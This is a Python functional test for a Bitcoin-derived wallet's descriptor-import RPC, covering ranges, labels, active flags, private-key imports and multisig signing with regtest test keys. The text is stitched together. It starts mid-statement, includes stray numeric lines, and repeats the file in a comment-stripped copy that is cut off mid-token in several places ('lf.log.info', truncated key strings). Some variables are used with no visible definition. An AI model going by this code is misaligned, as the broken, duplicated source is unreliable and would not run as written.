expected_addr in enumerate(addresses): received_addr = w1.getnewaddress('', 'bech32') assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'bech32') assert_equal(received_addr, expected_addr) bech32_addr_info = w1.getaddressinfo(received_addr) assert_equal(bech32_addr_info['desc'][:23], 'wpkh([80002067/0\'/0\'/{}]'.format(i)) shwpkh_addr = w1.getnewaddress('', 'p2sh-segwit') shwpkh_addr_info = w1.getaddressinfo(shwpkh_addr) assert_equal(shwpkh_addr_info['desc'][:26], 'sh(wpkh([abcdef12/0\'/0\'/{}]'.format(i)) pkh_addr = w1.getnewaddress('', 'legacy') pkh_addr_info = w1.getaddressinfo(pkh_addr) assert_equal(pkh_addr_info['desc'][:22], 'pkh([12345678/0\'/0\'/{}]'.format(i)) assert_equal(w1.getwalletinfo()['keypoolsize'], 4 * 3) # After retrieving a key, we don't refill the keypool again, so it's one less for each address type w1.keypoolrefill() assert_equal(w1.getwalletinfo()['keypoolsize'], 5 * 3) self.log.info("Check we can change next_index") # go back and forth with next_index for i in [4, 0, 2, 1, 3]: self.test_importdesc({'desc': descsum_create('wpkh([80002067/0h/0h]' + xpub + '/*)'), 'active': True, 'range': [0, 9], 'next_index': i, 'timestamp': 'now' }, success=True) assert_equal(w1.getnewaddress('', 'bech32'), addresses[i]) # Check active=False default self.log.info('Check imported descriptors are not active by default') self.test_importdesc({'desc': descsum_create('pkh([12345678/1h]' + xpub + '/*)'), 'range' : [0, 2], 'timestamp': 'now', 'internal': True }, success=True) assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'legacy') self.log.info('Check can activate inactive descriptor') self.test_importdesc({'desc': descsum_create('pkh([12345678]' + xpub + '/*)'), 'range': [0, 5], 'active': True, 'timestamp': 'now', 'internal': True }, success=True) address = w1.getrawchangeaddress('legacy') assert_equal(address, "mpA2Wh9dvZT7yfELq1UnrUmAoc5qCkMetg") self.log.info('Check can deactivate active descriptor') self.test_importdesc({'desc': descsum_create('pkh([12345678]' + xpub + '/*)'), 'range': [0, 5], 'active': False, 'timestamp': 'now', 'internal': True }, success=True) assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'legacy') self.log.info('Verify activation state is persistent') w1.unloadwallet() self.nodes[1].loadwallet('w1') assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'legacy') # # Test importing a descriptor containing a WIF private key wif_priv = "cTe1f5rdT8A8DFgVWTjyPwACsDPJM9ff4QngFxUixCSvvbg1x6sh" address = "2MuhcG52uHPknxDgmGPsV18jSHFBnnRgjPg" desc = "sh(wpkh(" + wif_priv + "))" self.log.info("Should import a descriptor with a WIF private key as spendable") self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now"}, success=True, wallet=wpriv) self.log.info('Test can import same descriptor with private key twice') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now"}, success=True, wallet=wpriv) test_address(wpriv, address, solvable=True, ismine=True) txid = w0.sendtoaddress(address, 49.99995540) w0.generatetoaddress(6, w0.getnewaddress()) self.sync_blocks() tx = wpriv.createrawtransaction([{"txid": txid, "vout": 0}], {w0.getnewaddress(): 49.999}) signed_tx = wpriv.signrawtransactionwithwallet(tx) w1.sendrawtransaction(signed_tx['hex']) # Make sure that we can use import and use multisig as addresses self.log.info('Test that multisigs can be imported, signed for, and getnewaddress\'d') self.nodes[1].createwallet(wallet_name="wmulti_priv", disable_private_keys=False, blank=True, descriptors=True) wmulti_priv = self.nodes[1].get_wallet_rpc("wmulti_priv") assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 0) xprv1 = 'tprv8ZgxMBicQKsPevADjDCWsa6DfhkVXicu8NQUzfibwX2MexVwW4tCec5mXdCW8kJwkzBRRmAay1KZya4WsehVvjTGVW6JLqiqd8DdZ4xSg52' acc_xpub1 = 'tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8' # /84'/0'/0' chg_xpub1 = 'tpubDCXqdwWZcszwqYJSnZp8eARkxGJfHAk23KDxbztV4BbschfaTfYLTcSkSJ3TN64dRqwa1rnFUScsYormKkGqNbbPwkorQimVevXjxzUV9Gf' # /84'/1'/0' xprv2 = 'tprv8ZgxMBicQKsPdSNWUhDiwTScDr6JfkZuLshTRwzvZGnMSnGikV6jxpmdDkC3YRc4T3GD6Nvg9uv6hQg73RVv1EiTXDZwxVbsLugVHU8B1aq' acc_xprv2 = 'tprv8gVCsmRAxVSxyUpsL13Y7ZEWBFPWbgS5E2MmFVNGuANrknvmmn2vWnmHvU8AwEFYzR2ji6EeZLSCLVacsYkvor3Pcb5JY5FGcevqTwYvdYx' acc_xpub2 = 'tpubDDBF2BTR6s8drwrfDei8WxtckGuSm1cyoKxYY1QaKSBFbHBYQArWhHPA6eJrzZej6nfHGLSURYSLHr7GuYch8aY5n61tGqgn8b4cXrMuoPH' chg_xpub2 = 'tpubDCYfZY2ceyHzYzMMVPt9MNeiqtQ2T7Uyp9QSFwYXh8Vi9iJFYXcuphJaGXfF3jUQJi5Y3GMNXvM11gaL4txzZgNGK22BFAwMXynnzv4z2Jh' xprv3 = 'tprv8ZgxMBicQKsPeonDt8Ka2mrQmHa61hQ5FQCsvWBTpSNzBFgM58cV2EuXNAHF14VawVpznnme3SuTbA62sGriwWyKifJmXntfNeK7zeqMCj1' acc_xpub3 = 'tpubDCsWoW1kuQB9kG5MXewHqkbjPtqPueRnXju7uM2NK7y3JYb2ajAZ9EiuZXNNuE4661RAfriBWhL8UsnAPpk8zrKKnZw1Ug7X4oHgMdZiU4E' chg_xpub3 = 'tpubDC6UGqnsQStngYuGD4MKsMy7eD1Yg9NTJfPdvjdG2JE5oZ7EsSL3WHg4Gsw2pR5K39ZwJ46M1wZayhedVdQtMGaUhq5S23PH6fnENK3V1sb' self.test_importdesc({"desc":"wsh(multi(2," + xprv1 + "/84h/0h/0h/*," + xprv2 + "/84h/0h/0h/*," + xprv3 + "/84h/0h/0h/*))#m2sr93jn", "active": True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_priv) self.test_importdesc({"desc":"wsh(multi(2," + xprv1 + "/84h/1h/0h/*," + xprv2 + "/84h/1h/0h/*," + xprv3 + "/84h/1h/0h/*))#q3sztvx5", "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_priv) assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 1001) # Range end (1000) is inclusive, so 1001 addresses generated addr = wmulti_priv.getnewaddress('', 'bech32') assert_equal(addr, 'bcrt1qdt0qy5p7dzhxzmegnn4ulzhard33s2809arjqgjndx87rv5vd0fq2czhy8') # Derived at m/84'/0'/0'/0 change_addr = wmulti_priv.getrawchangeaddress('bech32') assert_equal(change_addr, 'bcrt1qt9uhe3a9hnq7vajl7a094z4s3crm9ttf8zw3f5v9gr2nyd7e3lnsy44n8e') assert_equal(wmulti_priv.getwalletinfo()['keypoolsize'], 1000) txid = w0.sendtoaddress(addr, 10) self.nodes[0].generate(6) self.sync_all() send_txid = wmulti_priv.sendtoaddress(w0.getnewaddress(), 8) decoded = wmulti_priv.decoderawtransaction(wmulti_priv.gettransaction(send_txid)['hex']) assert_equal(len(decoded['vin'][0]['txinwitness']), 4) self.nodes[0].generate(6) self.sync_all() self.nodes[1].createwallet(wallet_name="wmulti_pub", disable_private_keys=True, blank=True, descriptors=True) wmulti_pub = self.nodes[1].get_wallet_rpc("wmulti_pub") assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 0) self.test_importdesc({"desc":"wsh(multi(2,[7b2d0242/84h/0h/0h]" + acc_xpub1 + "/*,[59b09cd6/84h/0h/0h]" + acc_xpub2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 +"/*))#tsry0s5e", "active": True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_pub) self.test_importdesc({"desc":"wsh(multi(2,[7b2d0242/84h/1h/0h]" + chg_xpub1 + "/*,[59b09cd6/84h/1h/0h]" + chg_xpub2 + "/*,[e81a0532/84h/1h/0h]" + chg_xpub3 + "/*))#c08a2rzv", "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now"}, success=True, wallet=wmulti_pub) assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 1000) # The first one was already consumed by previous import and is detected as used addr = wmulti_pub.getnewaddress('', 'bech32') assert_equal(addr, 'bcrt1qp8s25ckjl7gr6x2q3dx3tn2pytwp05upkjztk6ey857tt50r5aeqn6mvr9') # Derived at m/84'/0'/0'/1 change_addr = wmulti_pub.getrawchangeaddress('bech32') assert_equal(change_addr, 'bcrt1qt9uhe3a9hnq7vajl7a094z4s3crm9ttf8zw3f5v9gr2nyd7e3lnsy44n8e') assert_equal(wmulti_pub.getwalletinfo()['keypoolsize'], 999) # generate some utxos for next tests txid = w0.sendtoaddress(addr, 10) vout = find_vout_for_address(self.nodes[0], txid, addr) addr2 = wmulti_pub.getnewaddress('', 'bech32') txid2 = w0.sendtoaddress(addr2, 10) vout2 = find_vout_for_address(self.nodes[0], txid2, addr2) self.nodes[0].generate(6) self.sync_all() assert_equal(wmulti_pub.getbalance(), wmulti_priv.getbalance()) # Make sure that descriptor wallets containing multiple xpubs in a single descriptor load correctly wmulti_pub.unloadwallet() self.nodes[1].loadwallet('wmulti_pub') self.log.info("Multisig with distributed keys") self.nodes[1].createwallet(wallet_name="wmulti_priv1", descriptors=True) wmulti_priv1 = self.nodes[1].get_wallet_rpc("wmulti_priv1") res = wmulti_priv1.importdescriptors([ { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/0h/0h/*,[59b09cd6/84h/0h/0h]" + acc_xpub2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/1h/0h/*,[59b09cd6/84h/1h/0h]" + chg_xpub2 + "/*,[e81a0532/84h/1h/0h]" + chg_xpub3 + "/*))"), "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[0]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') assert_equal(res[1]['success'], True) assert_equal(res[1]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') self.nodes[1].createwallet(wallet_name='wmulti_priv2', blank=True, descriptors=True) wmulti_priv2 = self.nodes[1].get_wallet_rpc('wmulti_priv2') res = wmulti_priv2.importdescriptors([ { "desc": descsum_create("wsh(multi(2,[7b2d0242/84h/0h/0h]" + acc_xpub1 + "/*," + xprv2 + "/84h/0h/0h/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create("wsh(multi(2,[7b2d0242/84h/1h/0h]" + chg_xpub1 + "/*," + xprv2 + "/84h/1h/0h/*,[e81a0532/84h/1h/0h]" + chg_xpub3 + "/*))"), "active": True, "internal" : True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[0]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') assert_equal(res[1]['success'], True) assert_equal(res[1]['warnings'][0], 'Not all private keys provided. Some wallet functionality may return unexpected errors') rawtx = self.nodes[1].createrawtransaction([{'txid': txid, 'vout': vout}], {w0.getnewaddress(): 9.999}) tx_signed_1 = wmulti_priv1.signrawtransactionwithwallet(rawtx) assert_equal(tx_signed_1['complete'], False) tx_signed_2 = wmulti_priv2.signrawtransactionwithwallet(tx_signed_1['hex']) assert_equal(tx_signed_2['complete'], True) self.nodes[1].sendrawtransaction(tx_signed_2['hex']) self.log.info("We can create and use a huge multisig under P2WSH") self.nodes[1].createwallet(wallet_name='wmulti_priv_big', blank=True, descriptors=True) wmulti_priv_big = self.nodes[1].get_wallet_rpc('wmulti_priv_big') xkey = "tprv8ZgxMBicQKsPeZSeYx7VXDDTs3XrTcmZQpRLbAeSQFCQGgKwR4gKpcxHaKdoTNHniv4EPDJNdzA3KxRrrBHcAgth8fU5X4oCndkkxk39iAt/*" xkey_int = "tprv8ZgxMBicQKsPeZSeYx7VXDDTs3XrTcmZQpRLbAeSQFCQGgKwR4gKpcxHaKdoTNHniv4EPDJNdzA3KxRrrBHcAgth8fU5X4oCndkkxk39iAt/1/*" res = wmulti_priv_big.importdescriptors([ { "desc": descsum_create(f"wsh(sortedmulti(20,{(xkey + ',') * 19}{xkey}))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create(f"wsh(sortedmulti(20,{(xkey_int + ',') * 19}{xkey_int}))"), "active": True, "internal": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[1]['success'], True) addr = wmulti_priv_big.getnewaddress() w0.sendtoaddress(addr, 10) self.nodes[0].generate(1) self.sync_all() # It is standard and would relay. txid = wmulti_priv_big.sendtoaddress(w0.getnewaddress(), 9.999) decoded = wmulti_priv_big.decoderawtransaction(wmulti_priv_big.gettransaction(txid)['hex']) # 20 sigs + dummy + witness script assert_equal(len(decoded['vin'][0]['txinwitness']), 22) self.log.info("Under P2SH, multisig are standard with up to 15 " "compressed keys") self.nodes[1].createwallet(wallet_name='multi_priv_big_legacy', blank=True, descriptors=True) multi_priv_big = self.nodes[1].get_wallet_rpc('multi_priv_big_legacy') res = multi_priv_big.importdescriptors([ { "desc": descsum_create(f"sh(multi(15,{(xkey + ',') * 14}{xkey}))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }, { "desc": descsum_create(f"sh(multi(15,{(xkey_int + ',') * 14}{xkey_int}))"), "active": True, "internal": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) assert_equal(res[1]['success'], True) addr = multi_priv_big.getnewaddress("", "legacy") w0.sendtoaddress(addr, 10) self.nodes[0].generate(6) self.sync_all() # It is standard and would relay. txid = multi_priv_big.sendtoaddress(w0.getnewaddress(), 10, "", "", True) decoded = multi_priv_big.decoderawtransaction( multi_priv_big.gettransaction(txid)['hex'] ) self.log.info("Amending multisig with new private keys") self.nodes[1].createwallet(wallet_name="wmulti_priv3", descriptors=True) wmulti_priv3 = self.nodes[1].get_wallet_rpc("wmulti_priv3") res = wmulti_priv3.importdescriptors([ { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/0h/0h/*,[59b09cd6/84h/0h/0h]" + acc_xpub2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) res = wmulti_priv3.importdescriptors([ { "desc": descsum_create("wsh(multi(2," + xprv1 + "/84h/0h/0h/*,[59b09cd6/84h/0h/0h]" + acc_xprv2 + "/*,[e81a0532/84h/0h/0h]" + acc_xpub3 + "/*))"), "active": True, "range": 1000, "next_index": 0, "timestamp": "now" }]) assert_equal(res[0]['success'], True) rawtx = self.nodes[1].createrawtransaction([{'txid': txid2, 'vout': vout2}], {w0.getnewaddress(): 9.999}) tx = wmulti_priv3.signrawtransactionwithwallet(rawtx) assert_equal(tx['complete'], True) self.nodes[1].sendrawtransaction(tx['hex']) self.log.info("Combo descriptors cannot be active") self.test_importdesc({"desc": descsum_create("combo(tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*)"), "active": True, "range": 1, "timestamp": "now"}, success=False, error_code=-4, error_message="Combo descriptors cannot be set to active") self.log.info("Descriptors with no type cannot be active") self.test_importdesc({"desc": descsum_create("pk(tpubDCJtdt5dgJpdhW4MtaVYDhG4T4tF6jcLR1PxL43q9pq1mxvXgMS9Mzw1HnXG15vxUGQJMMSqCQHMTy3F1eW5VkgVroWzchsPD5BUojrcWs8/*)"), "active": True, "range": 1, "timestamp": "now"}, success=True, warnings=["Unknown output type, cannot set descriptor to active."]) if __name__ == '__main__': ImportDescriptorsTest().main()
52.998521
182
0.578195
from test_framework.address import key_to_p2pkh from test_framework.blocktools import COINBASE_MATURITY from test_framework.test_framework import WidecoinTestFramework from test_framework.descriptors import descsum_create from test_framework.util import ( assert_equal, assert_raises_rpc_error, find_vout_for_address, ) from test_framework.wallet_util import ( get_generate_key, test_address, ) class ImportDescriptorsTest(WidecoinTestFramework): def set_test_params(self): self.num_nodes = 2 self.extra_args = [["-addresstype=legacy"], ["-addresstype=bech32", "-keypool=5"] ] self.setup_clean_chain = True self.wallet_names = [] def skip_test_if_missing_module(self): self.skip_if_no_wallet() self.skip_if_no_sqlite() def test_importdesc(self, req, success, error_code=None, error_message=None, warnings=None, wallet=None): if warnings is None: warnings = [] wrpc = self.nodes[1].get_wallet_rpc('w1') if wallet is not None: wrpc = wallet result = wrpc.importdescriptors([req]) observed_warnings = [] if 'warnings' in result[0]: observed_warnings = result[0]['warnings'] assert_equal("\n".join(sorted(warnings)), "\n".join(sorted(observed_warnings))) assert_equal(result[0]['success'], success) if error_code is not None: assert_equal(result[0]['error']['code'], error_code) assert_equal(result[0]['error']['message'], error_message) def run_test(self): self.log.info('Setting up wallets') self.nodes[0].createwallet(wallet_name='w0', disable_private_keys=False, descriptors=True) w0 = self.nodes[0].get_wallet_rpc('w0') self.nodes[1].createwallet(wallet_name='w1', disable_private_keys=True, blank=True, descriptors=True) w1 = self.nodes[1].get_wallet_rpc('w1') assert_equal(w1.getwalletinfo()['keypoolsize'], 0) self.nodes[1].createwallet(wallet_name="wpriv", disable_private_keys=False, blank=True, descriptors=True) wpriv = self.nodes[1].get_wallet_rpc("wpriv") assert_equal(wpriv.getwalletinfo()['keypoolsize'], 0) self.log.info('Mining coins') w0.generatetoaddress(COINBASE_MATURITY + 1, w0.getnewaddress()) f a descriptor is not provided") self.test_importdesc({"timestamp": "now"}, success=False, error_code=-8, error_message='Descriptor not found.') self.log.info("Should import a p2pkh descriptor") import_request = {"desc": descsum_create("pkh(" + key.pubkey + ")"), "timestamp": "now", "label": "Descriptor import test"} self.test_importdesc(import_request, success=True) test_address(w1, key.p2pkh_addr, solvable=True, ismine=True, labels=["Descriptor import test"]) assert_equal(w1.getwalletinfo()['keypoolsize'], 0) self.log.info("Test can import same descriptor with public key twice") self.test_importdesc(import_request, success=True) self.log.info("Test can update descriptor label") self.test_importdesc({**import_request, "label": "Updated label"}, success=True) test_address(w1, key.p2pkh_addr, solvable=True, ismine=True, labels=["Updated label"]) self.log.info("Internal addresses cannot have labels") self.test_importdesc({**import_request, "internal": True}, success=False, error_code=-8, error_message="Internal addresses should not have a label") self.log.info("Internal addresses should be detected as such") key = get_generate_key() addr = key_to_p2pkh(key.pubkey) self.test_importdesc({"desc": descsum_create("pkh(" + key.pubkey + ")"), "timestamp": "now", "internal": True}, success=True) info = w1.getaddressinfo(addr) assert_equal(info["ismine"], True) assert_equal(info["ischange"], True) lf.log.info("Should not import a p2sh-p2wpkh descriptor without checksum") self.test_importdesc({"desc": "sh(wpkh(" + key.pubkey + "))", "timestamp": "now" }, success=False, error_code=-5, error_message="Missing checksum") self.log.info("Should not import a p2sh-p2wpkh descriptor that has range specified") self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"), "timestamp": "now", "range": 1, }, success=False, error_code=-8, error_message="Range should not be specified for an un-ranged descriptor") self.log.info("Should not import a p2sh-p2wpkh descriptor and have it set to active") self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"), "timestamp": "now", "active": True, }, success=False, error_code=-8, error_message="Active descriptors must be ranged") self.log.info("Should import a (non-active) p2sh-p2wpkh descriptor") self.test_importdesc({"desc": descsum_create("sh(wpkh(" + key.pubkey + "))"), "timestamp": "now", "active": False, }, success=True) assert_equal(w1.getwalletinfo()['keypoolsize'], 0) test_address(w1, key.p2sh_p2wpkh_addr, ismine=True, solvable=True) w1.unloadwallet() self.nodes[1].loadwallet('w1') test_address(w1, key.p2sh_p2wpkh_addr, ismine=True, solvable=True) key2 = get_generate_key() self.log.info("Should import a 1-of-2 bare multisig from descriptor") self.test_importdesc({"desc": descsum_create("multi(1," + key1.pubkey + "," + key2.pubkey + ")"), "timestamp": "now"}, success=True) self.log.info("Should not treat individual keys from the imported bare multisig as watchonly") test_address(w1, key1.p2pkh_addr, ismine=False) xMBicQKsPeuVhWwi6wuMQGfPKi9Li5GtX35jVNknACgqe3CY4g5xgkfDDJcmtF7o1QnxWDRYw4H5P26PXq7sbcUkEqeR4fg3Kxp2tigg" xpub = "tpubD6NzVbkrYhZ4YNXVQbNhMK1WqguFsUXceaVJKbmno2aZ3B6QfbMeraaYvnBSGpV3vxLyTTK9DYT1yoEck4XUScMzXoQ2U2oSmE2JyMedq3H" addresses = ["2N7yv4p8G8yEaPddJxY41kPihnWvs39qCMf", "2MsHxyb2JS3pAySeNUsJ7mNnurtpeenDzLA"] addresses += ["bcrt1qrd3n235cj2czsfmsuvqqpr3lu6lg0ju7scl8gn", "bcrt1qfqeppuvj0ww98r6qghmdkj70tv8qpchehegrg8"] desc = "sh(wpkh(" + xpub + "/0/0/*" + "))" self.log.info("Ranged descriptors cannot have labels") self.test_importdesc({"desc":descsum_create(desc), "timestamp": "now", "range": [0, 100], "label": "test"}, success=False, error_code=-8, error_message='Ranged descriptors should not have a label') self.log.info("Private keys required for private keys enabled wallet") self.test_importdesc({"desc":descsum_create(desc), "timestamp": "now", "range": [0, 100]}, success=False, error_code=-4, error_message='Cannot import descriptor without private keys to a wallet with private keys enabled', wallet=wpriv) self.log.info("Ranged descriptor import should warn without a specified range") self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now"}, success=True, warnings=['Range not given, using default keypool range']) assert_equal(w1.getwalletinfo()['keypoolsize'], 0) descriptor that includes xpriv into a watch-only wallet") desc = "sh(wpkh(" + xpriv + "/0'/0'/*'" + "))" self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": 1}, success=False, error_code=-4, error_message='Cannot import private keys to a wallet with private keys disabled') self.log.info("Should not import a descriptor with hardened derivations when private keys are disabled") self.test_importdesc({"desc": descsum_create("wpkh(" + xpub + "/1h/*)"), "timestamp": "now", "range": 1}, success=False, error_code=-4, error_message='Cannot expand descriptor. Probably because of hardened derivations without private keys provided') for address in addresses: test_address(w1, address, ismine=False, solvable=False) self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": -1}, success=False, error_code=-8, error_message='End of range is too high') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [-1, 10]}, success=False, error_code=-8, error_message='Range should be greater or equal than 0') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [(2 << 31 + 1) - 1000000, (2 << 31 + 1)]}, success=False, error_code=-8, error_message='End of range is too high') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [2, 1]}, success=False, error_code=-8, error_message='Range specified as [begin,end] must not have begin after end') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now", "range": [0, 1000001]}, success=False, error_code=-8, error_message='Range is too large') self.log.info("Verify we can only extend descriptor's range") range_request = {"desc": descsum_create(desc), "timestamp": "now", "range": [5, 10], 'active': True} self.test_importdesc(range_request, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 6) self.test_importdesc({**range_request, "range": [0, 10]}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 11) self.test_importdesc({**range_request, "range": [0, 20]}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) self.test_importdesc({**range_request, "range": [0, 20]}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) self.test_importdesc({**range_request, "range": [5, 10]}, wallet=wpriv, success=False, error_code=-8, error_message='new range must include current range = [0,20]') self.test_importdesc({**range_request, "range": [0, 10]}, wallet=wpriv, success=False, error_code=-8, error_message='new range must include current range = [0,20]') self.test_importdesc({**range_request, "range": [5, 20]}, wallet=wpriv, success=False, error_code=-8, error_message='new range must include current range = [0,20]') assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) self.log.info("Check we can change descriptor internal flag") self.test_importdesc({**range_request, "range": [0, 20], "internal": True}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 0) assert_raises_rpc_error(-4, 'This wallet has no available keys', wpriv.getnewaddress, '', 'p2sh-segwit') assert_equal(wpriv.getwalletinfo()['keypoolsize_hd_internal'], 21) wpriv.getrawchangeaddress('p2sh-segwit') self.test_importdesc({**range_request, "range": [0, 20], "internal": False}, wallet=wpriv, success=True) assert_equal(wpriv.getwalletinfo()['keypoolsize'], 21) wpriv.getnewaddress('', 'p2sh-segwit') assert_equal(wpriv.getwalletinfo()['keypoolsize_hd_internal'], 0) assert_raises_rpc_error(-4, 'This wallet has no available keys', wpriv.getrawchangeaddress, 'p2sh-segwit') w1 = self.nodes[1].get_wallet_rpc('w1') self.log.info('Key ranges should be imported in order') xpub = "tpubDAXcJ7s7ZwicqjprRaEWdPoHKrCS215qxGYxpusRLLmJuT69ZSicuGdSfyvyKpvUNYBW1s2U3NSrT6vrCYB9e6nZUEvrqnwXPF8ArTCRXMY" addresses = [ 'bcrt1qtmp74ayg7p24uslctssvjm06q5phz4yrxucgnv', 'bcrt1q8vprchan07gzagd5e6v9wd7azyucksq2xc76k8', 'bcrt1qtuqdtha7zmqgcrr26n2rqxztv5y8rafjp9lulu', 'bcrt1qau64272ymawq26t90md6an0ps99qkrse58m640', 'bcrt1qsg97266hrh6cpmutqen8s4s962aryy77jp0fg0', ] self.test_importdesc({'desc': descsum_create('wpkh([80002067/0h/0h]' + xpub + '/*)'), 'active': True, 'range' : [0, 2], 'timestamp': 'now' }, success=True) self.test_importdesc({'desc': descsum_create('sh(wpkh([abcdef12/0h/0h]' + xpub + '/*))'), 'active': True, 'range' : [0, 2], 'timestamp': 'now' }, success=True) self.test_importdesc({'desc': descsum_create('pkh([12345678/0h/0h]' + xpub + '/*)'), 'active': True, 'range' : [0, 2], 'timestamp': 'now' }, success=True) assert_equal(w1.getwalletinfo()['keypoolsize'], 5 * 3) for i, expected_addr in enumerate(addresses): received_addr = w1.getnewaddress('', 'bech32') assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'bech32') assert_equal(received_addr, expected_addr) bech32_addr_info = w1.getaddressinfo(received_addr) assert_equal(bech32_addr_info['desc'][:23], 'wpkh([80002067/0\'/0\'/{}]'.format(i)) shwpkh_addr = w1.getnewaddress('', 'p2sh-segwit') shwpkh_addr_info = w1.getaddressinfo(shwpkh_addr) assert_equal(shwpkh_addr_info['desc'][:26], 'sh(wpkh([abcdef12/0\'/0\'/{}]'.format(i)) pkh_addr = w1.getnewaddress('', 'legacy') pkh_addr_info = w1.getaddressinfo(pkh_addr) assert_equal(pkh_addr_info['desc'][:22], 'pkh([12345678/0\'/0\'/{}]'.format(i)) assert_equal(w1.getwalletinfo()['keypoolsize'], 4 * 3) w1.keypoolrefill() assert_equal(w1.getwalletinfo()['keypoolsize'], 5 * 3) self.log.info("Check we can change next_index") for i in [4, 0, 2, 1, 3]: self.test_importdesc({'desc': descsum_create('wpkh([80002067/0h/0h]' + xpub + '/*)'), 'active': True, 'range': [0, 9], 'next_index': i, 'timestamp': 'now' }, success=True) assert_equal(w1.getnewaddress('', 'bech32'), addresses[i]) self.log.info('Check imported descriptors are not active by default') self.test_importdesc({'desc': descsum_create('pkh([12345678/1h]' + xpub + '/*)'), 'range' : [0, 2], 'timestamp': 'now', 'internal': True }, success=True) assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'legacy') self.log.info('Check can activate inactive descriptor') self.test_importdesc({'desc': descsum_create('pkh([12345678]' + xpub + '/*)'), 'range': [0, 5], 'active': True, 'timestamp': 'now', 'internal': True }, success=True) address = w1.getrawchangeaddress('legacy') assert_equal(address, "mpA2Wh9dvZT7yfELq1UnrUmAoc5qCkMetg") self.log.info('Check can deactivate active descriptor') self.test_importdesc({'desc': descsum_create('pkh([12345678]' + xpub + '/*)'), 'range': [0, 5], 'active': False, 'timestamp': 'now', 'internal': True }, success=True) assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'legacy') self.log.info('Verify activation state is persistent') w1.unloadwallet() self.nodes[1].loadwallet('w1') assert_raises_rpc_error(-4, 'This wallet has no available keys', w1.getrawchangeaddress, 'legacy') xUixCSvvbg1x6sh" address = "2MuhcG52uHPknxDgmGPsV18jSHFBnnRgjPg" desc = "sh(wpkh(" + wif_priv + "))" self.log.info("Should import a descriptor with a WIF private key as spendable") self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now"}, success=True, wallet=wpriv) self.log.info('Test can import same descriptor with private key twice') self.test_importdesc({"desc": descsum_create(desc), "timestamp": "now"}, success=True, wallet=wpriv) test_address(wpriv, address, solvable=True, ismine=True) txid = w0.sendtoaddress(address, 49.99995540) w0.generatetoaddress(6, w0.getnewaddress()) self.sync_blocks() tx = wpriv.createrawtransaction([{"txid": txid, "vout": 0}], {w0.getnewaddress(): 49.999}) signed_tx = wpriv.signrawtransactionwithwallet(tx) w1.sendrawtransaction(signed_tx['hex']) self.log.info('Test that multisigs can be imported, signed for, and getnewaddress\'d') self.nodes[1].createwallet(wallet_name="wmulti_priv", disable_private_keys=False, blank=True, descriptors=True) wmulti_priv = 